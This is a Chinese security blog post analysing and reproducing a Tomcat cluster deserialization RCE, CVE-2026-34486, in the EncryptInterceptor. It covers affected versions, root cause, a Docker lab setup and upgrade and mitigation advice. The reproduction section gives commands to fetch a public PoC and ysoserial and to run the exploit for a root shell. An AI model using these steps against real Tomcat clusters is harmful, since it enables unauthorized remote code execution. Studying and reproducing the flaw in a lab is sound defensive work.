文章总结: ApacheTomcat集群通信组件Tribes的EncryptInterceptor存在反序列化漏洞CVE-2026-34486,这是CVE-2026-29146补丁修复引入的回归漏洞。攻击者可通过构造加密通信帧绕过安全校验,在启用加密拦截器且开放4000端口的Tomcat集群中实现远程代码执行。文档提供了完整的漏洞复现步骤、PoC利用方法和环境搭建指南,建议用户立即升级至修复版本或通过移除加密配置、网络隔离等措施进行临时防护。 综合评分: 85 文章分类: 漏洞分析,WEB安全,实战经验,解决方案,安全工具
Apache Tomcat 集群通信组件反序列化漏洞(CVE-2026-34486)复现与分析
松杨网络安全资料库
2026年6月16日 16:58 广东
在小说阅读器读本章
去阅读
一、漏洞概述
2026年6月,Apache Tomcat 官方修复了一个高危远程代码执行漏洞,编号 CVE-2026-34486。该漏洞存在于 Tomcat 集群通信组件 Tribes 的 EncryptInterceptor 加密拦截器中,攻击者在满足特定条件的情况下,可通过构造加密的 Tribes 通信帧绕过安全校验,触发反序列化漏洞,最终实现远程代码执行。
该漏洞的特别之处在于,它为 CVE-2026-29146 修复补丁引入的回归漏洞——开发团队在修复旧问题时引入了新的绕过方式,导致原本”已修复”的系统再次暴露于风险之中。
二、影响版本
| 分支 | 受影响版本 | | — | — | | Apache Tomcat 9.x | 9.0.0-M1 至 9.0.116 | | Apache Tomcat 10.1.x | 10.1.0-M1 至 10.1.53 | | Apache Tomcat 11.0.x | 11.0.0-M1 至 11.0.20 |
官方已在 9.0.117、10.1.54、11.0.21 版本中修复该漏洞。
三、漏洞原理
CVE-2026-29146 的修复补丁为 EncryptInterceptor 增加了加密校验逻辑,但该校验存在设计缺陷——攻击者可构造一个合法的加密帧包装恶意序列化载荷,绕过 EncryptInterceptor 的安全检查。
具体绕过方式:EncryptInterceptor 在校验阶段仅验证了加密帧的格式合法性,而未深入检查解密后载荷内容的安全性。攻击者只需使用任意已知 AES 密钥对恶意序列化载荷进行加密,封装为合法 Tribes 通信帧,发送至目标 4000 端口即可。目标 EncryptInterceptor 解密帧后,将解密数据不经安全校验直接交给下游反序列化处理,导致代码执行。
利用条件:
- Tomcat 集群通信已启用,且配置了 EncryptInterceptor(即设置了
encryptionKeyString属性) - 目标开启 4000 端口(Tribes 默认成员发现端口)
- 攻击者能访问该端口(通常为内网环境)
四、环境搭建
拉取镜像:
docker pull nowday3/cve-2026-34486:latest
镜像拉取
启动靶场容器:
docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
启动容器
容器日志确认 EncryptInterceptor 已加载、Tribes 端口 4000 已监听:
容器日志
日志详情
准备利用工具:
# 获取 PoC 利用脚本
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# 下载 ysoserial 反序列化工具
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# 下载 Tomcat 9.0.116(提供 Tribes 库依赖)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
攻击机需安装 JDK 17+(javac 编译器),Kali 环境下 JDK 安装常遇到镜像源同步问题,可手动下载 tar.gz 解压配置。
五、漏洞复现
执行利用脚本,PoC 使用 CommonsCollections6 利用链,通过 EncryptInterceptor 加密帧包装后发送:
python3 exp.py -t 192.168.59.128 -p 4000 --shell
连接成功,进入交互式 Shell:
获取Shell
执行身份验证,获得 root 权限远程 Shell:
id
# uid=0(root) gid=0(root) groups=0(root)
六、修复方案
升级版本
- Apache Tomcat 9.x:升级至 9.0.117 及以上
- Apache Tomcat 10.1.x:升级至 10.1.54 及以上
- Apache Tomcat 11.0.x:升级至 11.0.21 及以上
临时缓解
若无法立即升级:
- 移除 EncryptInterceptor 配置:在
server.xml中删除或注释EncryptInterceptor相关配置段落 - 网络隔离:通过防火墙策略限制 4000 端口的访问来源,仅允许集群内部节点访问
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:松杨网络安全资料库 《Apache Tomcat 集群通信组件反序列化漏洞(CVE-2026-34486)复现与分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






评论